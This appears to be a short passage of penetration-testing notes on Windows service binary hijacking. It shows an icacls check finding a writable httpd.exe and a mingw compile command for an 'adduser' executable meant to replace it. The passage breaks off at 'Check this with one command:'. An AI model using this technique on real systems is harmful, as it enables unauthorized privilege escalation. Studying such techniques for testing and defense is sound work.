-
Binary hijacking Check if a binary (e.g. from a service) is writeable: PS C:\Users\dave> icacls "C:\xampp\apache\bin\httpd.exe"C:\xampp\apache\bin\httpd.exe BUILTIN\Administrators:(F) NT AUTHORITY\SYSTEM:(F) BUILTIN\Users:(F) NT AUTHORITY\Authenticated Users:(RX) Legend: If yes, replace it with a more useful executeable, like this one. Compile this for the correct target architecture and replace the original file. x86_64-w64-mingw32-gcc adduser.c -o adduser.exe Check this with one command: